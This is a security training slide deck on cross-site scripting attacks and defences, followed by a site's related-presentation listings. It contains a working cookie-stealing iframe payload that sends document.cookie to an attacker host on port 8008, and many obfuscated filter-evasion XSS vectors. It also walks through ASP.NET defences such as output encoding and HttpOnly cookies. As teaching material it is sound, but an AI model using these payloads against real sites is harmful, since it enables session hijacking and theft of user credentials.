XSS - Attacks & Defense

B
Blueinfy SolutionsWeb Security Products, Consulting & Training Company
XSS – Attacks & Defense
Cross Site Scripting
• A user’s credentials may be recovered by
another user.
• Inject client-side code as part of data content
stored on the server side.
– e.g. Javascript
• When a user views the stored content, the
client-side code executes on browser.
• Transmit the current credentials to the
attacker.
XSS types
• XSS is of three types
– Persistent
– Non Persistent
– DOM based
Non-persistent XSS
• Application echo backs response
• It can be over GET or POST
• Very common with application developers
• Features like search is common place for it
• Error handling routines are vulnerable to it as
well
• Attacker can inject stream in it
• Various tags can be injected
Non-persistent XSS
• Attack vectors are common
• Exploitation is possible
• Session hijacking with cookie retrieval is most
popular ways
• Links coming in the mail or social sites can
lead to XSS
• It is also known as type 1 OR reflected XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
NAME VALUE
username saumil
NAME VALUE
username arthur
inject <IFRAME> javascript
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
GET /SESSID=84658734652 HTTP/1.0
(happens automatically)
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
SESSID=84658734652
What to inject - IFRAME example
• Inject a 1x1 floating frame:
• When the frame is loaded, it will cause the
browser to make an automatic request.
• Requesting URL
http://192.168.7.41:8008/<cookie_value>
<script>document.write(“<iframe
src=”http://192.168.7.41:8008/”+document.cookie+””
width=1 height=1 frameborder=0></iframe>”);</script>
Persistent XSS
• In this XSS vector, attacker gets write access
on the application
• If application page can be loaded with
malicious code
• This code accessed by victim
• Code gets executed on the client machine
• XSS – credential stealing
• Examples – bulletin board, blogs etc.
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
NAME VALUE
username saumil
NAME VALUE
username arthur
inject <IFRAME> javascript
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
GET /SESSID=84658734652 HTTP/1.0
(happens automatically)
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
Web app
Web
Client
SESSION KEYS
78974369523
12323747677
84658734652
NAME VALUE
username saumil
NAME VALUE
username arthur
NAME VALUE
username nitesh
SESSID=84658734652
8008
<iframe src=
http://attacker/SESSID=84658734652>
SESSID=84658734652
XSS injection vectors
• Applications are filtering certain traffic
• Popular tags are filtered out as well
• Character filtering is in place
• There are various ways to inject vectors.
XSS vector
• ';alert(String.fromCharCode(88,83,83))//';aler
t(String.fromCharCode(88,83,83))//";alert(Stri
ng.fromCharCode(88,83,83))//";alert(String.fr
omCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromChar
Code(88,83,83))</SCRIPT>
• '';!--"<XSS>=&{()}
XSS vector
• <SCRIPT SRC=http://url/xss.js></SCRIPT>
• <IMG SRC="javascript:alert('XSS');">
• <IMG SRC=javascript:alert('XSS')>
• <IMG SRC=JaVaScRiPt:alert('XSS')>
• <IMG SRC=javascript:alert(&quot;XSS&quot;)>
• <IMG SRC=`javascript:alert("XSS")`>
• Image tag malformed - <IMG
"""><SCRIPT>alert("XSS")</SCRIPT>">
XSS vector
• <IMG
SRC=javascript:alert(String.fromCharCode(88,
83,83))>
• Unicode encoding - <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;
&#114;&#105;&#112;&#116;&#58;&#97;&#1
08;&#101;&#114;&#116;&#40;&#39;&#88;&#
83;&#83;&#39;&#41;>
XSS vector
• UTF-8 - <IMG
SRC=&#0000106&#0000097&#0000118&#000
0097&#0000115&#0000099&#0000114&#000
0105&#0000112&#0000116&#0000058&#000
0097&#0000108&#0000101&#0000114&#000
0116&#0000040&#0000039&#0000088&#000
0083&#0000083&#0000039&#0000041>
XSS vector
• Hex - <IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&
#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&
#x65&#x72&#x74&#x28&#x27&#x58&#x53&#
x53&#x27&#x29>
• XSS breakup - <IMG SRC="jav
ascript:alert('XSS');">
• <IMG SRC="jav&#x09;ascript:alert('XSS');">
XSS vector
• <IMG SRC="jav&#x0A;ascript:alert('XSS');">
(line feed)
• <IMG SRC="jav&#x0D;ascript:alert('XSS');">
(carriage return)
• Multi-line injection
XSS vector
• <INPUT TYPE="IMAGE"
SRC="javascript:alert('XSS');">
• <BODY
BACKGROUND="javascript:alert('XSS')">
• <BODY ONLOAD=alert('XSS')>
• BR, Layer etc.
• <LINK REL="stylesheet"
HREF="javascript:alert('XSS');">
• HTTP-Equiv
XSS vector
• Iframe, Frameset & Table(background)
• Base tag
• Object tag XSS
• Embed – with flash
• XML namespace injection
• XML ID, SRC etc.
DOM based XSS
• Ajax based XSS is relatively new way of
attacking the client
• Code written on browser end can be
vulnerable to this attacks
• Various different structures can have their
own confusion
• Information processing from un-trusted
sources can lead to XSS
DOM based XSS
• Stream can be injected into the Ajax routine
• If function is vulnerable to XSS then it
executes the script
• Script can be coming in various forms
• Web 2.0 applications are consuming various
scripts and that makes it vulnerable to this set
of attacks
DOM based XSS
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf(“user=")+5;
document.write(document.URL.substring(pos,document.URL.
length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
DOM based XSS
http://www.target.com/profile.html?user=Jack
Exploit -
http://www.target.com/profile.html?user=
<script>alert(document.cookie)</script>
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
Third party source
Stream
eval()
XSS
DOM based XSS
if (http.readyState == 4) {
var response = http.responseText;
var p = eval("(" + response + ")");
document.open();
document.write(p.firstName+"<br>");
document.write(p.lastName+"<br>");
document.write(p.phoneNumbers[0]);
document.close();
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
XML
Stream
eval()
XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
JSON
Stream
eval()
XSS
Anatomy of an XSS attack
Web
Server DB
DB
Web app
attacker
Web app
Web app
proxy
Web
Client
8008
JS-Object / JS-Array / JS-Script
Stream
eval()
XSS
DOM based XSS
document.write(…)
document.writeln(…)
document.body.innerHtml=…
document.forms[0].action=…
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …
window.attachEvent(…)
document.location=…
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
DOM based XSS
document.open(…)
window.open(…)
window.location.href=… (and assigning to
location’s href, host and hostname)
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
Exploit and testing framework
• There are testing framework for XSS which
can be used during the testing
• CAL9000 – OWASP project
• BeeF – Browser exploit framework
• XSSproxy
• Few other out there
Securing XSS
Prevent XSS
• Design Strategy
• Validate Input.
• Encode output variable data.
• Sanitizing Free Format Input.
• Set the correct character encoding.
• Use the ASP.NET validateRequest option.
• Use the HttpOnly cookie option.
• Use the <frame> security attribute.
• Use the innerText property.
Prevent XSS
• Encode output using HtmlEncode /
URLEncode methods.
• Do this even for user input, a database, or
a local file.
The HtmlEncode method replaces characters that have special meaning in
HTML to HTML variables that represent those characters. For example, <
is replaced with &lt and " is replaced with &quot. Encoded data does
not cause the browser to execute code. Instead, the data is rendered as
harmless HTML.
Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
Prevent XSS
• Data-Bound Controls: DataGrid, DataList,
RadioButtonList and CheckBoxList do not
perform encoding,
• Turn all columns into templates and
manually use HtmlEncode()/UrlEncode() on
each call to DataBinder.Eval
• Override one of its DataBinding methods,
such as OnDatabinding or
OnItemDataBound and perform encoding
on its items.
Prevent XSS
• Allow Safe HTML like comments, blog
fields,
• Process it with HtmlEncode
• Remove encoding on selected safe
HTML tags
StringBuilder sb = new StringBuilder( HttpUtility.HtmlEncode(userInput)
) ;
sb.Replace("&lt;b&gt;", "<b>");
sb.Replace("&lt;/b&gt;", "</b>");
sb.Replace("&lt;i&gt;", "<i>");
sb.Replace("&lt;/i&gt;", "</i>");
Response.Write(sb.ToString());
Prevent XSS
• Set the Correct Character Encoding,
• Application / Page level
<meta http-equiv="Content Type"
content="text/html; charset=ISO-8859-1" />
OR
<% @ Page ResponseEncoding="ISO-8859-1" %>
To set the character encoding in Web.config, use the following
configuration:
<configuration>
<system.web>
<globalization
requestEncoding="ISO-8859-1"
responseEncoding="ISO-8859-1"/>
</system.web>
</configuration>
Prevent XSS
• Validating Unicode Characters,
using System.Text.RegularExpressions;
private void Page_Load(object sender, System.EventArgs e)
{
// Name must contain between 1 and 40 alphanumeric characters
// together with (optionally) special characters '`' for names such
// as D'Angelo
if (!Regex.IsMatch(Request.Form["name"], @"^[p{L}p{Zs}p{Lu}p{Ll}']{1,40}$"))
throw new ArgumentException("Invalid name parameter");
}
•{<name>} specifies a named Unicode character class.
•p{<name>} matches any character in the named character class specified by
{<name>}.
•{L} performs a left-to-right match.
•{Lu} performs a match of uppercase.
•{Ll} performs a match of lowercase.
•{Zs} matches separator and space.
•{1,40} means no less that 1 and no more than 40 characters.
•{Mn} matches mark and non-spacing characters.
•{Zs} matches separator and space.
•* specifies zero or more matches.
•$ means stop looking at this position.
Prevent XSS
• Use the ASP.NET validateRequest
Option,
• By default, it is TRUE
• Instruct ASP.NET to check for
malicious inputs like <script>, etc.
<% @ Page validateRequest="True" %>;
Prevent XSS
• Use the HttpOnly Cookie Option.
• prevents client-side script from
accessing the cookie from the
document.cookie property
protected void Application_EndRequest(Object sender, EventArgs e)
{
string authCookie = FormsAuthentication.FormsCookieName;
foreach (string sCookie in Response.Cookies)
{
if (sCookie.Equals(authCookie))
{
// Force HttpOnly to be added to the cookie header
Response.Cookies[sCookie].Path += ";HttpOnly";
}
}
}
Prevent XSS
• Use the <frame> Security Attribute,
• Use the innerText property instead of
innerHTML property.
<frame security="restricted"
src="http://www.somesite.com/somepage.htm"></frame>
Prevent XSS
• Use AntiXSS library,
//bad code
String Name = Request.QueryString["Name"];
//code with antixss library
String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);
namespace Microsoft.Application.Security
{
public class AntiXss
{
public static string HtmlEncode(string s);
public static string HtmlAttributeEncode(string s);
public static string JavaScriptEncode(string s);
public static string UrlEncode(string s);
public static string VisualBasicScriptEncode(string
s);
public static string XmlEncode(string s);
public static string XmlAttributeEncode(string s);
}
}
Conclusion
1 of 50

Recommended

Cross Site Scripting Defense Presentation by
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
3.7K views23 slides
Cross site scripting attacks and defenses by
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
17.6K views45 slides
Xss attack by
Xss attackXss attack
Xss attackManjushree Mashal
1.7K views14 slides
Cross Site Scripting: Prevention and Detection(XSS) by
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
208 views24 slides
Cross site scripting (xss) by
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
1.3K views22 slides
Cross site scripting by
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
30.1K views20 slides

More Related Content

What's hot

Attacking thru HTTP Host header by
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
1.8K views29 slides
Xss ppt by
Xss pptXss ppt
Xss pptchanakyac1
105 views13 slides
Cross Site Scripting ( XSS) by
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
27.3K views31 slides
Cross Site Scripting(XSS) by
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
518 views18 slides
Cross site scripting by
Cross site scriptingCross site scripting
Cross site scriptingn|u - The Open Security Community
2.9K views15 slides
Attacking and defending GraphQL applications: a hands-on approach by
 Attacking and defending GraphQL applications: a hands-on approach Attacking and defending GraphQL applications: a hands-on approach
Attacking and defending GraphQL applications: a hands-on approachDavide Cioccia
1.4K views63 slides

What's hot(20)

Attacking thru HTTP Host header by Sergey Belov
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov1.8K views
Cross Site Scripting ( XSS) by Amit Tyagi
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
Amit Tyagi27.3K views
Cross Site Scripting(XSS) by Nabin Dutta
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
Nabin Dutta518 views
Attacking and defending GraphQL applications: a hands-on approach by Davide Cioccia
 Attacking and defending GraphQL applications: a hands-on approach Attacking and defending GraphQL applications: a hands-on approach
Attacking and defending GraphQL applications: a hands-on approach
Davide Cioccia1.4K views
XSS- an application security vulnerability by Soumyasanto Sen
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerability
Soumyasanto Sen1.2K views
The Cross Site Scripting Guide by Daisuke_Dan
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan2.3K views
Cross site scripting (xss) by Manish Kumar
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Manish Kumar1.5K views
Reflective and Stored XSS- Cross Site Scripting by InMobi Technology
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology4.1K views
Web Security Attacks by Sajid Hasan
Web Security AttacksWeb Security Attacks
Web Security Attacks
Sajid Hasan523 views
Web PenTest Sample Report by Octogence
Web PenTest Sample ReportWeb PenTest Sample Report
Web PenTest Sample Report
Octogence10.8K views
Neat tricks to bypass CSRF-protection by Mikhail Egorov
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov17.6K views
Deep understanding on Cross-Site Scripting and SQL Injection by Vishal Kumar
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar2.8K views

Viewers also liked

Webセキュリティ入門(xss) by
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)KageShiron
1.4K views17 slides
ウェブセキュリティの最近の話題早分かり by
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりHiroshi Tokumaru
71.5K views39 slides
ウェブアプリケーションセキュリティ超入門 by
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門Hiroshi Tokumaru
48.4K views54 slides
条件式評価器の実装による管理ツールの抽象化 by
条件式評価器の実装による管理ツールの抽象化条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化Takuya Ueda
4.7K views32 slides
セキュリティの都市伝説を暴く by
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くHiroshi Tokumaru
87.2K views56 slides
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則 by
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則Hiroshi Tokumaru
71.5K views86 slides

Viewers also liked(6)

Webセキュリティ入門(xss) by KageShiron
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
KageShiron1.4K views
ウェブセキュリティの最近の話題早分かり by Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru71.5K views
ウェブアプリケーションセキュリティ超入門 by Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru48.4K views
条件式評価器の実装による管理ツールの抽象化 by Takuya Ueda
条件式評価器の実装による管理ツールの抽象化条件式評価器の実装による管理ツールの抽象化
条件式評価器の実装による管理ツールの抽象化
Takuya Ueda4.7K views
セキュリティの都市伝説を暴く by Hiroshi Tokumaru
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
Hiroshi Tokumaru87.2K views
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則 by Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru71.5K views

Similar to XSS - Attacks & Defense

Complete xss walkthrough by
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthroughAhmed Elhady Mohamed
16.3K views23 slides
15 owasp top 10 - a3-xss by
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xssappsec
280 views4 slides
04. xss and encoding by
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
2K views76 slides
PCI Security Requirements - secure coding by
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
1.3K views41 slides
The top 10 security issues in web applications by
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
13.4K views72 slides
Cross Site Scripting (XSS) by
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
3.7K views16 slides

Similar to XSS - Attacks & Defense(20)

15 owasp top 10 - a3-xss by appsec
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
appsec280 views
04. xss and encoding by Eoin Keary
04.  xss and encoding04.  xss and encoding
04. xss and encoding
Eoin Keary2K views
PCI Security Requirements - secure coding by Haitham Raik
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik1.3K views
The top 10 security issues in web applications by Devnology
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology13.4K views
Cross Site Scripting (XSS) by OWASP Khartoum
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum3.7K views
Meteor Meets Mallory by Emily Stark
Meteor Meets MalloryMeteor Meets Mallory
Meteor Meets Mallory
Emily Stark6K views
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services by Shreeraj Shah
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah82K views
Securing Java EE Web Apps by Frank Kim
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim4.8K views
Introduction to Cross Site Scripting ( XSS ) by Irfad Imtiaz
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
Irfad Imtiaz1.8K views
Intro to Web Application Security by Rob Ragan
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
Rob Ragan7.6K views
Cross Site Scripting - Mozilla Security Learning Center by Michael Coates
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
Michael Coates6.1K views
Owasp Top 10 - Owasp Pune Chapter - January 2008 by abhijitapatil
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil9.6K views
Application Security around OWASP Top 10 by Sastry Tumuluri
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
Sastry Tumuluri763 views
Evolution Of Web Security by Chris Shiflett
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
Chris Shiflett12.9K views
VodQA3_PenetrationTesting_AmitDhakkad by vodQA
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkad
vodQA688 views

More from Blueinfy Solutions

Mobile Application Scan and Testing by
Mobile Application Scan and TestingMobile Application Scan and Testing
Mobile Application Scan and TestingBlueinfy Solutions
1.3K views65 slides
Mobile security chess board - attacks & defense by
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseBlueinfy Solutions
2.5K views89 slides
Mobile code mining for discovery and exploits nullcongoa2013 by
Mobile code mining for discovery and exploits nullcongoa2013Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013Blueinfy Solutions
1K views80 slides
iOS Application Security Testing by
iOS Application Security TestingiOS Application Security Testing
iOS Application Security TestingBlueinfy Solutions
1.9K views65 slides
Html5 on mobile by
Html5 on mobileHtml5 on mobile
Html5 on mobileBlueinfy Solutions
1K views50 slides
Android secure coding by
Android secure codingAndroid secure coding
Android secure codingBlueinfy Solutions
1.3K views20 slides

More from Blueinfy Solutions(20)

Mobile security chess board - attacks & defense by Blueinfy Solutions
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defense
Blueinfy Solutions2.5K views
Mobile code mining for discovery and exploits nullcongoa2013 by Blueinfy Solutions
Mobile code mining for discovery and exploits nullcongoa2013Mobile code mining for discovery and exploits nullcongoa2013
Mobile code mining for discovery and exploits nullcongoa2013
Automation In Android & iOS Application Review by Blueinfy Solutions
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application Review
Blueinfy Solutions1.5K views
Applciation footprinting, discovery and enumeration by Blueinfy Solutions
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
Blueinfy Solutions2.4K views

Recently uploaded

"Surviving highload with Node.js", Andrii Shumada by
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada Fwdays
58 views29 slides
"Package management in monorepos", Zoltan Kochan by
"Package management in monorepos", Zoltan Kochan"Package management in monorepos", Zoltan Kochan
"Package management in monorepos", Zoltan KochanFwdays
34 views18 slides
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R... by
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...ShapeBlue
178 views15 slides
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITShapeBlue
208 views8 slides
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...ShapeBlue
199 views20 slides
Ransomware is Knocking your Door_Final.pdf by
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfSecurity Bootcamp
98 views46 slides

Recently uploaded(20)

"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays58 views
"Package management in monorepos", Zoltan Kochan by Fwdays
"Package management in monorepos", Zoltan Kochan"Package management in monorepos", Zoltan Kochan
"Package management in monorepos", Zoltan Kochan
Fwdays34 views
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R... by ShapeBlue
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...
Setting Up Your First CloudStack Environment with Beginners Challenges - MD R...
ShapeBlue178 views
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by ShapeBlue
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
ShapeBlue208 views
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by ShapeBlue
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
ShapeBlue199 views
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De... by Moses Kemibaro
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Moses Kemibaro35 views
The Power of Generative AI in Accelerating No Code Adoption.pdf by Saeed Al Dhaheri
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdf
Saeed Al Dhaheri39 views
Business Analyst Series 2023 - Week 4 Session 8 by DianaGray10
Business Analyst Series 2023 -  Week 4 Session 8Business Analyst Series 2023 -  Week 4 Session 8
Business Analyst Series 2023 - Week 4 Session 8
DianaGray10145 views
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by The Digital Insurer
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023 by BookNet Canada
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023Redefining the book supply chain: A glimpse into the future - Tech Forum 2023
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023
BookNet Canada44 views
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit... by ShapeBlue
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
ShapeBlue162 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li91 views
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
ShapeBlue224 views
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha... by ShapeBlue
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...
Mitigating Common CloudStack Instance Deployment Failures - Jithin Raju - Sha...
ShapeBlue183 views
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P... by ShapeBlue
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
